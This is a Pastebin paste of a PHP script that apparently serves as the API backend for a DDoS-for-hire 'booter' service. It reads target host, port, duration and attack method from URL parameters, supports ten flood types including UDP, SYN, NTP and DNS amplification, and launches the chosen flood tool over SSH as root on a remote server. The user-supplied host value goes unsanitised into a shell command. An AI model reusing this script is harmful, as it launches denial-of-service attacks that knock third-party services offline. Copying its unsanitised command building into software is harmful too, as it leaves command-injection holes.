Advertisement
Guest User

Untitled

a guest
Jun 1st, 2017
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.42 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(1000);
  4. $server_ip = "";
  5. $server_pass = "";
  6. $server_user = "root";
  7. $key = $_GET['key'];
  8. $host = $_GET['host'];
  9. $port = intval($_GET['port']);
  10. $time = intval($_GET['time']);
  11. $method = $_GET['method'];
  12. $action = $_GET['action'];
  13. $array = array("Batman","Weed","Booter","DNS","TS3","UDP","StormUDP","SUDP","NTP","XSYN");
  14. $ray = array(""); // Api Key Şifresini Belirleyin.
  15. if (!empty($key)){
  16. }else{
  17. die('');}
  18. if (in_array($key, $ray)){
  19. }else{
  20. die('');}
  21. if (!empty($time)){
  22. }else{
  23. die('');}
  24. if (!empty($host)){
  25. }else{
  26. die('');}
  27. if (!empty($method)){
  28. }else{
  29. die('');}
  30. if (in_array($method, $array)){
  31. }else{
  32. die('');}
  33. if ($port > 44405){
  34. die('');}
  35. if ($time > 1000){
  36. die('');}
  37. if(ctype_digit($Time)){
  38. die('');}
  39. if(ctype_digit($Port)){
  40. die('');}
  41. $rowID = str_replace(".", "", $_GET['host']);
  42. if ($method == "UDP") { $command = "screen -dmS $rowID perl UDPflood.pl $host $port 20000 $time"; }
  43. if ($method == "StormUDP") { $command = "screen -dmS $rowID ./StormUDP -d $host -p $port -t $time"; }
  44. if ($method == "Batman") { $command = "screen -dmS $rowID perl Batman.pl $host $port $time"; }
  45. if ($method == "Weed") { $command = "screen -dmS $rowID perl weed.pl $host $port $time"; }
  46. if ($method == "Booter") { $command = "screen -dmS $rowID perl Booter.pl $host $port 20000 $time"; }
  47. if ($method == "SUDP") { $command = "screen -dmS $rowID ./sudp $host $port faster 1 $time"; }
  48. if ($method == "NTP") { $command = "screen -dmS $rowID ./ntp $host $port users.txt 1 -1 $time"; }
  49. if ($method == "XSYN") { $command = "screen -dmS $rowID ./XSYN $host $port 1 -1 $time"; }
  50. if ($method == "DNS") { $command = "screen -dmS $rowID ./DNS.out $host $port users.txt 1 $time"; }
  51. if ($method == "TS3") { $command = "screen -dmS $rowID ./X-TS3.out $host $port $time"; }
  52. if ($action == "STOP") { $command = "screen -X -s $rowID quit"; }
  53. if (!function_exists("ssh2_connect")) die("");
  54. if(!($con = ssh2_connect($server_ip, 22))){
  55. echo "";
  56. } else {
  57. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  58. echo "";
  59. } else {
  60.  
  61. if (!($stream = ssh2_exec($con, $command ))) {
  62. echo "";
  63. } else {
  64. stream_set_blocking($stream, false);
  65. $data = "";
  66. while ($buf = fread($stream,4096)) {
  67. $data .= $buf;
  68. }
  69. echo "";
  70. fclose($stream);
  71. }
  72. }
  73. }
  74. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement